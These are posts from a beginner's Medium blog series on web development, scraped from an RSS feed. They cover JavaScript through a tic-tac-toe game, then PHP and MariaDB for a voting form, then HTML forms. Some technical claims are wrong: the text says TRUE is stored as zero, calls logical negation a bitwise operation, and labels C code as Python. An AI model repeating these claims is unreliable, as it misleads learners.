End with impact. I’m not a fan of “Thank you” slides at the end of a presentation. Do say “Thank you”, but don’t spend a slide on it. Instead, leave the crowd with a power statement or a catch phrase.

Use this:

Instead of this:

Thank you.

]]> <![CDATA[Get started in web development with me —Final part: JavaScript and JS frameworks]]> https://gmelodie.medium.com/get-started-in-web-development-with-me-final-part-javascript-and-js-frameworks-76e3cac733e7?source=rss-ea856b51f1c0------2 https://medium.com/p/76e3cac733e7 Sun, 03 Feb 2019 18:33:32 GMT 2020-03-09T09:10:14.048Z

Get started in web development with me — Final part: JavaScript, CSS and JS frameworks

Hi there, on part 5 we finished our voting form. We set up a database to store user votes.

Lost in the series? Here are Part 1, Part 2, Part 3, Part 4 and Part 5.

How to start learning

After last post I found myself wondered what the purpose of this series was. Well, the answer I found was that its purpose, first and foremost, is to document my learning process. So I just have to find something I want to learn about and start writing.

The problem is: I didn’t know what else I wanted to learn, or rather, I didn’t know where to start. So what do we do when we don’t know where to start? We start!

You: This is bullshit
Me: You’re kinda right, how in hell would one start when one doesn’t even know where to start? Well, the way I see it, “how do I start?” and “let’s start?” are only one answer appart.

Suppose we both want to build our own cars, but you are a car engineer and I’m not. The difference is that, when we start building our cars, you’ll know which kind of pieces you need, and I won’t. So here’s the question you’ll be asking:

Where do I find these pieces?

And here’s the question I’ll be asking:

Which pieces do I need?

When I figure that out, I’ll find myself asking the exact same question you did when you started.

So what we need to do right now is ask ourselves what do we need to get started, but of course, first we need something we want to learn.

JavaScript: something to learn

I have a ton of questions about javascript:

Where is it stored in a server?
Why JavaScript instead of PHP?
What are those things with .js in their names (node.js, express.js,…)?

I also know that JavaScript is a programming language and that it’s very popular:

For the sixth year in a row, JavaScript is the most commonly used programming language.

It’s been some time since we don’t actually start something from scratch, but I remember that Wikipedia is always a good place to start from:

JavaScript often abbreviated as JS, is a high-level, interpreted programming language that conforms to the ECMAScript specification. It is a language that is also characterized as dynamic, weakly typed, prototype-based and multi-paradigm.

Wow! Lots of concepts, let’s break them up in Appendix 1.

Okay, now that we have a minimal grasp of what JavaScript is, let’s learn how it works and how to move from PHP to JS.

Moving (?) from PHP to JavaScript

Photo by Cal David from Pexels

Let’s google this:

from php to javascript

Not useful. How about this?

javascript to substitute php

Nothing. Damn it.

how does javascript work

Booyah! There are two results here I like, reading the first one I found this:

JavaScript is what is called a Client-side Scripting Language

This is some great information, while PHP runs on the server (Server-side scripting), JavaScript runs on the client’s machine! Another thing interesting is in the second paragraph:

The way JavaScript works is interesting. Inside a normal Web page you place some JavaScript code (…). When the browser loads the page, the browser has a built-in interpreter that reads the JavaScript code it finds in the page and runs it.

Interesting! This is identical to what we were doing with PHP: inserting code into HTML pages, the difference now is that this code is sent to the client and then ran on his/her browser.

The second result goes a little deeper about how JavaScript was born and how it works with HTML and CSS (we haven’t talked about CSS yet, but I plan to do it in the future):

JavaScript is used to add a dynamic component to the web page and make most elements on the page programmable.
(…)
The web browser loads a web page, parses the HTML and creates what is known as a Document Object Model (DOM) from the contents. The DOM presents a live view of the web page to your JavaScript code. Your code can then make updates to the DOM and have it presented instantly to the user.

Okay, so there is this DOM thing that JavaScript updates, this allows the page to be dynamic, meaning that it can change according to the users actions (hover the mouse to the top of a button makes it change collors, etc.).

They even added a section on how to insert JS on a web page:

JavaScript can be directly embedded in the HTML. The following causes the web page to popup an alert box when it is loaded.
<script type="text/javascript">
alert("Page is loaded");
</script>

So here’s the thing about JavaScript: the page can change without the server sending another entirely new (or even a part of) page! Now let’s write some dumb examples.

Writing some JS

Photo by rawpixel.com from Pexels

As always, start small. How about a page which pops up a window saying “Hello World!”?

It works! Sweet. Now let’s make that page hold a variable and print this variable on the pop up window:

Nice. How about make the “Hello World!” window appearing just by clicking a button?

I don’t know how to make the button connect to the JavaScript, let’s look it up:

get html button event javascript

Nice, so we define a function that does what we want and assign it to the button on the HTML tag… But how do we define functions on JavaScript?

function javascript

Okay, good. So we let’s do this:

Sweet. What if we had a text input field and then a submit button so that our alert window shows whatever the user enters on the field? Well, we need to know how to get the data from an input tag using JavaScript:

get input tag data with javascript

Okay, this looks like the way. But I must admit I know something I didn’t explain here before: HTML tag IDs, take a look at Appendix 2 for more on that:

Done! To be honest I found this incredibly easy, I’m not even having fun. I’ll go grab a cup of coffee and think about something more exciting.

I’m back, let’s make a tic-tac-toe game.

Tic-tac-toe

Ooof, when I stop to thing about it this seems a lot harder than what we’ve done so far. So let’s, again, break it into smaller, simpler problems shall we?

Input

First we need a way for the user to tell us which place he’s playing, I’ll use radio buttons for this:

Nice. We have a nice little board for our game. Now what we need to do is add a little bit of functionality to it. How about we make the selected buttons disappear? I have no idea on how to do this, let’s see:

javascript make buttons disappear

I found this (how did Internet exist before Stack Overflow?):

button.style.visibility = "hidden";

I’m going to change the values on the buttons for IDs, because we’re not using forms after all so this value isn’t submitted anywhere:

  <input type="radio" name="play" id="11">
  <input type="radio" name="play" id="12">
  <input type="radio" name="play" id="13">
  <br>
  <input type="radio" name="play" id="21">
  <input type="radio" name="play" id="22">
  <input type="radio" name="play" id="23">
  <br>
  <input type="radio" name="play" id="31">
  <input type="radio" name="play" id="32">
  <input type="radio" name="play" id="33">
  <br>

But how do we choose the selected button using JavaScript?

javascript choose selected radio button

Hmmm… Looks like we’ll need to use a form after all, I’ll tag it with and ID as well so we can easily look it up:

<form id="board">
...
</form>

We can now use a for loop to iterate through the list of buttons to get the one that is checked and hide it:

Great! Except that it doesn’t work, dammit. I’ll solve this on Problem 1.

Shit, now we’ve got another problem: the button disappears and comes back shortly after, take a look at Problem 2 for the solution.

Now we need to replace a clicked button with either an X or an O:

replace html tags with javascript

This is interesting:

You can’t change the type of an element like that, instead you have to create a new element and move the contents into it. Example:
var e = document.getElementsByTagName('span')[0];
var d = document.createElement('div');
d.innerHTML = e.innerHTML;
e.parentNode.replaceChild(d, e);

But I’m not satisfied with that. Let’s see:

javascript replace button with text

This is more interesting, here’s what I’ve changed:

This makes the buttons be replaced by Xes, but now they’re not in the correct places. It seems like the div tags make HTML to break lines.

Ah, okay. I’ve been running away from this for long enough.

Let’s use CSS. Check out Appendix 3 for the solution of the current problem as well as a brief explanation on CSS.

Turn chooser

Now we need to be able to tell who’s playing at a given time (if it’s player X or O) so that we know what symbol is going where. I’ll use two boolean (True or False) variables: ex and oh and change their values at every play, here’s what I did with computePlay:

If you’re wondering what are those exclamation marks doing on ex = !ex; and oh = !oh; I recommend quickly looking over bitwise operations.

Question for you: why did I declare ex and oh outside of the function? Would it work otherwise? Why? Why not? Hint: take a look at variable scopes.

Winner checker

Finally, we need to know when a player has won and, if so, which player won. To do that we’re going to write a function gameFinished that checks if there’s a winner. gameFinished should be called every time someone plays and it returns ‘X’ or ‘O’ if any of the players won, and null if there’s no winner yet.

Here are the adjustments we need to do in the rest of the code:

I’ll put the code for gameFinished in Appendix 4.

And we’re done! Go play some tic-tac-toe, you’ve earned it.

You: Now that we made a bunch of stuff with JavaScript, what about those node.js, vue.js, react.js everybody talks so much about?

JavaScript Frameworks: those things everybody talks so much about

Photo by Clem Onojeghuo from Pexels

I know this things are called frameworks, but I have no idea about what frameworks do or how to use them.

Me: So what do we do when we know nothing about something?
You: We google it?
Me: They grow so fast… *sheds tears*

Let’s try this:

javascript frameworks

This seems like a good place to start, it has definitions of ‘framework’, ‘library’ and ‘tool’ as well as an overview of the most popular JS frameworks, let’s see what it has to say about frameworks:

A framework is an application skeleton. It requires you to approach software design in a specific way and insert your own logic at certain points. Functionality such as events, storage, and data binding are normally provided for you. Using the car analogy, a framework provides a working chassis, body, and engine. You can add, remove or tinker with some components presuming the vehicle remains operational.

So I’m thinking most frameworks would provide us a web server as well as take care of those configuration files we had a lot of trouble with when first installing Nginx, cool. Then we could just add our code and things should work.

C ya!

Photo by Gabriela Palai from Pexels

The purpose of this series was to give you a basic understanding of how things work not just in web development, but in general computing stuff. Being lost is not that huge of a problem — you just have to break it into smaller, simpler, stupider ones.

As always, thanks for reading :)

Where to?

I’d suggest start practicing programming if you haven’t yet. Programming is not a language-specific skill: once you know how to program (be it in Python, Java, JavaScript, C, etc.) it’ll be much easier to learn new programming languages — because the only thing you’ll actually need to learn is syntax. Although different languages may use different programming paradigms, general programming knowledge still makes things much easier.

Python

Python is a very good language to begin with, it can be used to do basically anything: from machine learning, data science and web crawlers to games and full applications.

Here’s a beginners’ tutorial on Python.

JavaScript/HTML/CSS

You already know what these guys are used for. FreeCodeCamp is by far the best resource to learn JavaScript: it’s completely free, open source and hands-on oriented.

Linux

If you don’t use Linux, that’s okay, nobody is perfect.

lol

Seriously now, most of the machines in the world run Linux (I didn’t say most PCs): Modems, routers, servers, smartphones (Android), etc. Even if you don’t plan in using Linux daily on your PC, it’s crucial to understand how to operate a Linux terminal as well as how processes, permissions, users and services work on Linux.

I found this tutorial that seems to cover some important things so that you can survive in the terminal world without a mouse.

Appendix 1: Definitions

High-level programming languages

There are tons of programming languages out there. The level of a language often means how far from actual computer, binary code the language code, and thus how far from human language.

Let’s tell the computer to print “Hello World!” in a couple different languages:

English
Hey computer, would you print "Hello World!" please?
Python
print('Hello World')
C
#include <stdio.h>
int main(int argc, char *argv[]) {
printf("Hello World!\n");
}
Assembly
section     .text
global      _start                              ;must be declared for linker (ld)
_start:                                         ;tell linker entry point
    mov     edx,len                             ;message length
    mov     ecx,msg                             ;message to write
    mov     ebx,1                               ;file descriptor (stdout)
    mov     eax,4                               ;system call number (sys_write)
    int     0x80                                ;call kernel
    mov     eax,1                               ;system call number (sys_exit)
    int     0x80                                ;call kernel
section     .data
msg     db  'Hello, world!',0xa                 ;our dear string
len     equ $ - msg                             ;length of our dear string

I confess I copied the assembly code. The main idea here is that the lower the language level, the more distant it is from human language (English is the highest-level language there is, because it’s a human language!).

This means that, given the fact that JavaScript is a high-level language, we won’t have much trouble with the syntax (the commands) :)

Interpreted vs compiled programming languages

Our CPUs don’t understand code the way we write it (with English words and stuff). That’s why we have compilers and interpreters.

Compilers process our code and produce binary files, files with only zeroes and ones, which can be understood by the CPU.

Interpreters work more or less like this: each line of code is, at execution time (runtime), translated into machine code and then ran. Code interpretation has much more variations and, although not all code interpretation works exactly like explained here, that’s more or less the concept behind it.

Dynamic vs static programming languages

Dynamic programming language, in computer science, is a class of high-level programming languages which, at runtime, execute many common programming behaviors that static programming languages perform during compilation. These behaviors could include extension of the program, by adding new code, by extending objects and definitions, or by modifying the type system.

So let’s go back to the Python “Hello World” example for a moment:

#include <stdio.h>
...
printf ("Hello World!\n");
...

That’s it. You don’t have to include code for correctly placing the letters at the right positions of the screen, nor load the string into memory, etc. That’s because the function printf does all that for you! This function is in the stdio library, which we have included in the code. When the code is compiled, the compiler includes the code for the printf function into the binary file.

On dynamic languages this doesn’t happen, it’s the program that executes the code that’s responsible for including any external code the program requires at runtime.

Weakly vs strongly-typed programming languages

Programming languages often have variable types like integer and char. This explains well what strongly and weakly-typed languages are:

Generally, a strongly typed language has stricter typing rules at compile time, which implies that errors and exceptions are more likely to happen during compilation. (…) On the other hand, a weakly typed language has looser typing rules and may produce unpredictable results or may perform implicit type conversion at runtime.

This Stack Overflow question is actually very relevant as well:

“Strongly typed” and “weakly typed” are terms that have no widely agreed-upon technical meaning. Terms that do have a well-defined meaning are
Dynamically typed means that types are attached to values at run time, and an attempt to mix values of different types may cause a “run-time type error”. (…)
Statically typed means that types are checked at compile time, and a program that does not have a static type is rejected by the compiler. (…)

Programming paradigms

Here’s what the Wikipedia page tells us:

Programming paradigms are a way to classify programming languages based on their features. Languages can be classified into multiple paradigms.

I won’t go into detail about this, our scope is getting too broad too fast.

Appendix 2: HTML Tag IDs

Some HTML pages have lots of tags, several buttons, input fields, etc. So imagine that you’re working in a page with dozens of text input fields inside various forms. How do you identify each of these fields?

Well, one thing you can do is use HTML Tag IDs. IDs can be used to identify not only input fields, but any HTML tag. Here’s an example of HTML Tag ID usage.

Appendix 3: CSS (Cascading Style Sheets)

The problem we stumbled upon seems to be fairly recurrent in web development: how to style and place stuff easily and accurately on our pages? CSS is the answer to these types of problems… kind of.

That’s it. My knowledge of CSS ends here. On to the research now:

how to place buttons on a grid web

Booya!

How can I style this using CSS to be able to have those buttons listed as a grid with 4 columns max? I tried with display:inline-block and float:left but without success.

What if we tried this, maybe it works for us.

You: But wait, where the hell do we write this things on our HTML?

Great question. I have absolutely no idea, but hey:

where to put css on html

This looks like a nice tutorial. I’ll embed my CSS inline (using section 3 of the tutorial), but feel free to do as you please. I changed all my div tags to include display: inline-block;:

<div style="display:inline-block;" id="div_11"><input type="radio" name="play" onclick="computePlay(11)" id="11"></div>

IT

WORKS

To be honest I didn’t expect this to work at all, so imagine how happy I am right now :D

Appendix 4: ‘gameFinished’ function code

Problem 1: Can’t select checked button

Let’s take a look at the code again:

I guess the problem is that the execution flow never enters if(button.checked), that is probably because button.checked is always false. Let’s take a look at what’s in button.checked, just before the if statement I’ll insert: alert(button.checked); so that will cause the page to pop up a window with the content of button.checked.

It says undefined! Hmmm interesting, this property is probably old or doesn’t exist for radio buttons. But looking at this example of for/in usage I noticed something useful: the for/in in JavaScript is not like in Python (as I was assuming it was). Let’s change it for this:

for (button in radios) {
  if (radios[button].checked) {
    return radios[button];
  }
}

Sweet! It works!

Problem 2: Radio button comes back shortly after disappearing

Let’s google something shall we?

button.style.visibility = “hidden”; doesnt stay hidden

Found this Stack Overflow question, look at this bit of his original code:

document.getElementById("save").hidden = "";

Hmm he’s changing this hidden property, while we change style.visibility. Let’s try changing that:

selected.hidden = "hidden";

Same problem. I’m thinking problem isn’t hiding the button, but it shouldn’t come back. My guess is that the page reloads somehow after we press Play. Back to google then:

radio button doesnt stay hidden javascript

Here we go:

You can get the individual radio buttons using something like
var rbtn = document.getElementById('radioButton1');
Then set the display or visibility style to hide or show.
rbtn.style.display = 'none'; // 'block' or 'inline' if you want to show.

Nope. Well, I guess we can always not use the ‘Play’ button. What we’d do is call computePlay() after a player clicks a radio button:

Great! Now our buttons disappear nicely. Well… Not so nicely. Now the buttons disappear, but not every button we click is the one to disappear. My guess is that our getSelectedButton function doesn’t work that well. What if we change computePlay to receive the button’s id as an argument and then we change the function callings in the HTML:

Same problem, dammit. But I have an idea of what’s happening now: the buttons are literally hiding!

You: Okay now you’re on drugs man.

The thing I didn’t realize was that hiding a button doesn’t just make it invisible (meaning that the buttons continues to be in the same place), it also hides it in the page as it never existed in the first place. So we are indeed hiding the right buttons, but if we click on the button 11 (top-left corner), for example, it will disappear, making 12 and 13 be shifted to the left, as if 11 had never been there!

So what we actually need is a way to make the button invisible, without removing it from the page.

Wait, no! We’ll need to put an X or an O in the place of the button anyways, so getting rid of the radio button after clicking it is actually a good thing!

So…. Problem kinda solved I guess?

]]> <![CDATA[Get started in web development with me — Part 5: PHP intro, Databases and SQL]]> https://gmelodie.medium.com/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900?source=rss-ea856b51f1c0------2 https://medium.com/p/678328588900 Thu, 24 Jan 2019 17:38:33 GMT 2020-03-09T09:07:15.235Z

Get started in web development with me — Part 5: PHP intro, Databases and SQL

Hi there, on part 4 we learned about HTML forms and installed PHP on our server. If you haven’t checked out parts 1, 2, 3 or 4 go ahead and take a look at them, they’ll give you a basic understanding about what we’re doing.

Now we’re going to use PHP to handle an HTML form. In other words, we’re going to write code to modify some things on our HTML page according to how many votes we receive from the forms. But first, let’s learn some PHP.

Lost in the series? Here are Part 1, Part 2, Part 3, Part 4 and Part 5.

Learning some PHP

Here’s our code to print “Hello World” using PHP:

You: *sarcastic clap* Nice, but that is not really useful, we could’ve just used simple HTML to write that.
Me: Ooooh so you wanna get serious? Okay.

In order to get a basic understanding about PHP syntax, I’ll use this tutorial (until, including, the Data Types’ section) as a guide, and I’ll use this one for form handling in PHP. Go ahead and read those as well.

Done? Good.

Now we can finally start working on our voting form from the last post.

Voting Form from the last post

Photo by Donald Tong from Pexels

Here’s the code for the voting form we’ve been working on :

What we want to do is to collect the votes using the form and present the number of likes and dislikes in the page.

The first thing we need to do is receive the information, so let’s create a PHP file to handle the form (I’ll call it vote.php):

$ sudo touch /home/gabriel/html/vote.php

And assign it as the form’s handler:

Now we need a way to store the number of people who liked and who disliked the page. But I think this is getting too hard already, let’s just make it redirect to a “thank you for voting” page without storing any information.

Thank you for voting!

Here’s how my vote.php file looks like:

Pretty simple. What if we wanted to stay on the same page instead of redirecting to another one? A way to do it would be to copy the entire page into another file:

$ cp index.html thanks.php

In this new page we could replace the form with a message, so that it looks like only the form part of the page changed:

Finally, we change the form in index.html to point to thanks.php instead of vote.phpand done!

But it seems overkill to rewrite all the page’s content just to edit a tiny little bit of it. Let’s google this:

php change content of a div

A div tag in HTML is a tag that allows for isolation of specific parts of HTML code, take a look here.

Oooof, seems like we would be messing around with AJAX (and thus XML and Javascript), so we’d better not go into this just now.

Back to counting

Coming back to our problem: we need to count how many people liked or disliked our page.

You: Just store these numbers in two numerical (integer) variables.
Me: The problem with this is that there’s no way for a user to see how many other users have voted, he would only have access to how many times he’s voted (which is always one). Also, every time the server needed to reload or restart all the data would be lost (see data persistence).

I guess we’ll need a database after all. If you don’t know much about databases and basic SQL take a look at Appendix 1.

Now let’s learn how to use PHP with MySQL so we can store our number of likes and dislikes.

We don’t need to know how PHP creates databases or tables because we can just log in the database and create them directly using SQL.

Hmmm… But how would this work again?

Because we are using a relational database all the data needs to be structured in tables. How do we structure our database then? I’ll do this at Problem 1.

Great! We have a table to store the data, but how do we generate the user’s ID? I’ll solve this at Problem 2.

Using PHP to select from a database

Sweet, we can finally start building our voting section. But first, we need to know how to insert and look for data in a database using PHP. So I copied index.htmlto vote.php:

$ cp index.html vote.php

And added some PHP code:

You probably didn’t understand the query strings (the SELECT statements), if that’s the case I suggest you read the WHERE, COUNT and GROUP BY SQL tutorials.

This page throws an error:

Connection failed: Access denied for user 'root'@'localhost'

Well, I shouldn’t be using the root account to access the database. Let’s dig into this at Problem 3.

But now it shows nothing, let’s enter the select query directly on our database:

MariaDB [herschel]> SELECT COUNT(liked) FROM vote WHERE liked=TRUE GROUP BY liked;
Empty set (0.00 sec)

Of course! Our database is empty! Let’s manually insert some entries:

MariaDB [herschel]> INSERT INTO vote VALUES ('10.13.1.2', TRUE); Query OK, 1 row affected (0.12 sec)
MariaDB [herschel]> INSERT INTO vote VALUES ('10.13.1.1', FALSE);
Query OK, 1 row affected (0.11 sec)
MariaDB [herschel]> INSERT INTO vote VALUES ('10.13.1.5', FALSE);
Query OK, 1 row affected (0.07 sec)
MariaDB [herschel]> INSERT INTO vote VALUES ('10.13.1.100', TRUE);
Query OK, 1 row affected (0.07 sec)
MariaDB [herschel]> SELECT * FROM vote;
+-------------+-------+
| id          | liked |
+-------------+-------+
| 10.13.1.2   |     1 |
| 10.13.1.1   |     0 |
| 10.13.1.5   |     0 |
| 10.13.1.100 |     1 |
+-------------+-------+
4 rows in set (0.00 sec)

Now retry:

$ sudo nginx -s reload

Still nothing… Maybe the PHP code isn’t running, let’s print something and see if it appears on the page (if it does, then our select statement is wrong, otherwise there’s something wrong with the PHP code itself):

// vote.php
//...
echo "Hello There";
//...

It prints “Hello There”, this means there’s something wrong about how PHP is getting the results of the SQL query.

Going back to the PHP select tutorial it looks like the result of a query comes as an abstract object containing the rows we selected. This seems right because if we do the query using pure SQL directly on the database this is what we get:

MariaDB [herschel]> SELECT COUNT(liked) FROM vote WHERE liked=TRUE GROUP BY liked;
+--------------+
| COUNT(liked) |
+--------------+
|            2 |
+--------------+
1 row in set (0.00 sec)

It returns us a table! So what we need to do is get the first row of this table and print it into our page:

Now what I see is:

Hello There!
There are Array people who liked the page
There are Array people who disliked the page

Wooops! My guess is that our variables $yes and $no are storing rows, but every row in a table has a list of columns. Of course in this case the row has only one column, but it’s still an array with one value. This array is indexed using column names, so I’m guessing what we’ll use to index the array is COUNT(liked):

$yes = $yes_result->fetch_assoc()["COUNT(liked)"];
$no = $no_result->fetch_assoc()["COUNT(liked)"];
Hello There!
There are 2 people who liked the page
There are 2 people who disliked the page

YESSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS! IT WORKS MOTHERF —

Sorry, I get a little too excited sometimes. Now we need to insert the data into the table.

Using PHP to insert to the database

We already have the code to connect to the database and the code to get the user’s IP address. I’ll take another look at this tutorial and code something:

This is what appears on our page:

Error: Unknown column 'yes' in 'field list'

Oh yeah. What I tried to do was to insert the value submitted by the form into the “liked” field of the table. I need to insert TRUE if the form submits “yes” and FALSE otherwise, here’s the change I’ll do:

YESSSSSSSSSSSSSSSSSS! IT WORKS!

I’ll just remove the query check because it produces some useless output for the user. We’re all done for the day.

Thanks again

We worked well today! Our website is really getting some sweet features.

If you are new to computer stuff this post might be very frustrating for you (in the sense that you can, and should, have a lot of trouble with this load of new stuff). This is important, allow yourself to experience your mistakes and learn from them.

An important thing to keep in mind is to always try to have as much fun as possible. If you feel stressed, go for a walk and come back later. If you don’t know what’s going on, ask for help, it can’t hurt.

Appendix 1: MySQL Database and persistent data storage

First of all let me say that although I have used SQL and worked with databases before, I’m not familiar with MySQL or MariaDB, so I’ll be using this tutorial as a guide.

By now you should have come across this MySQL thing. As did I. If you have no clue of what MySQL is, take a look at their about page.

First, we need to install MySQL and its PHP modules:

$ sudo apt-get install mysql-server # install mysql server
...
$ mysql_secure_installation # configure mysql
...
$ sudo apt install php7.3-mysql

Now that we have everything set up, I’ll share with you a bit of what I know about databases.

Relational databases and tables

There are some people out there who would kill me for saying this, but I’ll take my chances: relational databases are just a bunch of tables (like the ones we use in spreadsheets) linked together.

You probably have seen a table in a spreadsheet (such as Google Sheets) before. Tables in a databases look just like the ones in spreadsheets.

You: Then why does everybody use databases and not spreadsheets
Me: First of all, accesses and searches in databases aremuch faster than in spreadsheets. Also, it’s common to cross (join) information from several tables to get what you are looking for — which is not possible (or, if so, very hard) in spreadsheets.

Suppose you and me just opened a shoe store together. Let’s create a database to hold the price information of all the shoes we currently sell.

First, we log in MySQL:

$ sudo mysql -u root -p

Then we create a new database and change the working space to that database, I’ll call it shoe_store:

MariaDB [(none)]> CREATE DATABASE shoe_store;
...
MariaDB [(none)]> use shoe_store;

Now we create a table named shoes to store the name and price of our shoes, take a quick look at the MySQL data types to understand the INTEGER and the VARCHAR types:

MariaDB [shoe_store]> CREATE TABLE shoes ( 
   -> name varchar(40), 
   -> price integer,
   -> );
Query OK, 0 rows affected (0.34 sec)

What we just used to create the table and the database is SQL (Structured Query Language). Now let’s fill up our table with some shoes using INSERT:

MariaDB [shoe_store]> INSERT INTO shoes (name, price) VALUES ('all_star', 30);
Query OK, 1 row affected (0.06 sec)
MariaDB [shoe_store]> INSERT INTO shoes (name, price) VALUES ('cute_flip_flop', 10);
Query OK, 1 row affected (0.07 sec)
MariaDB [shoe_store]> INSERT INTO shoes (name, price) VALUES ('not_so_cute_flip_flop', 2);
Query OK, 1 row affected (0.03 sec)

Finally, we can SELECT items from our tables:

MariaDB [shoe_store]> SELECT name FROM shoes;
+-----------------------+
| name                  |
+-----------------------+
| all_star              |
| cute_flip_flop        |
| not_so_cute_flip_flop |
+-----------------------+
3 rows in set (0.00 sec)
MariaDB [shoe_store]> SELECT price FROM shoes;
+-------+
| price |
+-------+
|    30 |
|    10 |
|     2 |
+-------+
3 rows in set (0.00 sec)
MariaDB [shoe_store]> SELECT * FROM shoes;
+-----------------------+-------+
| name                  | price |
+-----------------------+-------+
| all_star              |    30 |
| cute_flip_flop        |    10 |
| not_so_cute_flip_flop |     2 |
+-----------------------+-------+
3 rows in set (0.00 sec)

If we want to look for specific items we can use WHERE:

MariaDB [shoe_store]> SELECT * FROM shoes WHERE name='all_star';
+----------+-------+
| name     | price |
+----------+-------+
| all_star |    30 |
+----------+-------+
1 row in set (0.00 sec)
MariaDB [shoe_store]> SELECT * FROM shoes WHERE price > 3;
+----------------+-------+
| name           | price |
+----------------+-------+
| all_star       |    30 |
| cute_flip_flop |    10 |
+----------------+-------+
2 rows in set (0.00 sec)

Problem 1: Structuring our database

I thought about doing something like this: a table in which every entry (row) is a user’s vote, it contains the user’s ID (a number that identifies the user) and a boolean (true or false) type called liked, which will be true if the user voted that he liked the page, and false otherwise. Then, to make the statistics we would sum how many trues and falses are there at the table. The table would look like this:

MariaDB [herschel]> CREATE TABLE test(id integer, liked boolean);
Query OK, 0 rows affected (1.46 sec)
MariaDB [herschel]> INSERT INTO test VALUES (1, TRUE);
Query OK, 1 row affected (0.14 sec)
MariaDB [herschel]> INSERT INTO test VALUES (2, TRUE);
Query OK, 1 row affected (0.18 sec)
MariaDB [herschel]> INSERT INTO test VALUES (3, TRUE);
Query OK, 1 row affected (0.07 sec)
MariaDB [herschel]> INSERT INTO test VALUES (3, FALSE);
Query OK, 1 row affected (0.07 sec)
MariaDB [herschel]> SELECT * FROM test;
+------+-------+
| id   | liked |
+------+-------+
|    1 |     1 |
|    2 |     1 |
|    3 |     1 |
|    3 |     0 |
+------+-------+
4 rows in set (0.05 sec)

Notice that TRUE values are stored as zeroes, and FALSE values as ones. But the user ID has to be unique (notice that I’ve inserted the user 3 twice), for that we use SQL constraints:

MariaDB [herschel]> CREATE TABLE test_2 (
    -> id INTEGER UNIQUE,
    -> liked BOOLEAN
    -> );
Query OK, 0 rows affected (0.53 sec)
MariaDB [herschel]> INSERT INTO test_2 VALUES (1, TRUE);
Query OK, 1 row affected (0.12 sec)
MariaDB [herschel]> INSERT INTO test_2 VALUES (1, FALSE);
ERROR 1062 (23000): Duplicate entry '1' for key 'id'

Now let’s make this test_2 table our new vote table, first we drop the original vote table:

MariaDB [herschel]> DROP TABLE vote;
Query OK, 0 rows affected (0.35 sec)

Then we change the name of test_2 to vote using the alter table command:

MariaDB [herschel]> ALTER TABLE test_2
    -> RENAME TO vote;
Query OK, 0 rows affected (0.27 sec)
MariaDB [herschel]> show tables;
+--------------------+
| Tables_in_herschel |
+--------------------+
| vote               |
+--------------------+
1 row in set (0.00 sec)

BOOM, now we have a table to store the votes! Now we save the changes and quit:

MariaDB [herschel]> quit
Bye

How polite.

Problem 2: Generating unique user IDs

Photo by Dom J from Pexels

Let’s google something:

generate user id nginx

Nope. What if we used the computer’s IP address to identify the user? I know it’s not perfect as multiple users can use the same PC, but it’s a start:

get client IP address php

Well well well, what do we have here?

Whatever you do, make sure not to trust data sent from the client. $_SERVER['REMOTE_ADDR'] contains the real IP address of the connecting party. That is the most reliable value you can find.

Does that work? Let’s see, I’ll set up a page in our server that tells us our IP:

If you access it from localhost you probably got something like ::1, but accessing from outside gives us a ‘normal’ IP address.

IT WORKS! But here’s the thing: now we’re using IP addresses, not integers, to identify the users, so we need to change the id field on our vote table to use strings instead of integers:

MariaDB [herschel]> ALTER TABLE vote
    -> MODIFY id VARCHAR(15);
Query OK, 1 row affected (1.28 sec)                
Records: 1  Duplicates: 0  Warnings: 0

Great, now we can identify users and our tables are up to date.

Problem 3: Using proper users to access database

Photo by Daniel Reche from Pexels

Let’s google the error we got:

Connection failed: Access denied for user ‘root’@’localhost’

Oh boy, this really seems to seal the deal, let’s try it then. First, we log in as root and create a new user:

$ sudo mysql -u root -p -h localhost
MariaDB [(none)]> CREATE USER 'gabriel@localhost' IDENTIFIED BY 'my_secret_password';

Now we give the user gabriel access to the database herscheland quit:

MariaDB [(none)]> GRANT ALL PRIVILEGES ON herschel.* TO 'gabriel@localhost';
Query OK, 0 rows affected (0.02 sec)
MariaDB [(none)]> quit
Bye

Let’s now try to log in as the new user:

$ mysql -u gabriel -p -h localhost 
Enter password: 
ERROR 1045 (28000): Access denied for user 'gabriel'@'localhost' (using password: YES)

Crap, but I had an idea. I think what’s really happening is that my user gabriel, the OS (Linux) user, not the mysql user we just created, doesn’t have access to mysql. Let’s google a little bit more:

mysql only sudo has access to database

Strange, that’s exactly what we did…

OH MY GOD I FORGOT THE DAMN QUOTES!

The answer says:

CREATE USER 'francesco'@'localhost' IDENTIFIED BY 'some_pass';
GRANT ALL PRIVILEGES ON shop.* TO 'francesco'@'localhost';

And I did:

CREATE USER 'gabriel@localhost' IDENTIFIED BY 'my_secret_password';
GRANT ALL PRIVILEGES ON herschel.* TO 'gabriel@localhost';

The problem was that I typed this 'gabriel@localhost'instead of this 'gabriel'@'localhost'. Okay, now it works.

]]> <![CDATA[Get started in web development with me — Part 4: HTML forms, PHP and dealing with problems]]> https://gmelodie.medium.com/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d?source=rss-ea856b51f1c0------2 https://medium.com/p/79c9a1c8829d Mon, 21 Jan 2019 18:48:24 GMT 2020-03-09T09:07:08.865Z
Photo by Steve Johnson from Pexels

Get started in web development with me — Part 4: HTML forms, PHP and dealing with problems

Hey you! Hope you enjoyed my last post. If you haven’t checked part 1, part 2 and part 3 go ahead and read them, they’ll give you basic understanding of how this series work and get you started with some basic concepts.

So today we’re going to work a little bit more on —

Sh*t. I went to Facebook for a minute and turns out I spent my entire afternoon in it… woooops!

But to be honest I think procrastinating for 4 hours gave me a great idea of what important web concept of we’re missing.

Lost in the series? Here are Part 1, Part 2, Part 3, Part 4 and Part 5.

An important web concept we’re missing

Photo by Fancycrave.com from Pexels

Go ahead and log in your Facebook account real quick. If you don’t have a Facebook account any other social network will do.

Do you realize that all those websites allow you to modify them in a certain way? On Facebook, Twitter and LinkedIn you have your timeline where you can post stuff. Do you realize what’s going on here? You’re posting things.

Not clear yet? What you’re basically doing is modifying the content that’s available in the website, but with some restrictions (you can’t just go around changing everything on the server).

So how does a server receives input from its clients?

HTML Forms: How a server receives input from its clients

This is something I’ve known for some time, but I’ve never actually used one. So let’s take a look at a quick forms tutorial.

A form is a pretty obvious thing, you’ve probably seen them all over the web: login forms, posting forms, comment forms, etc.

Let’s build some sh*t.

Herschel Evans’ comment section

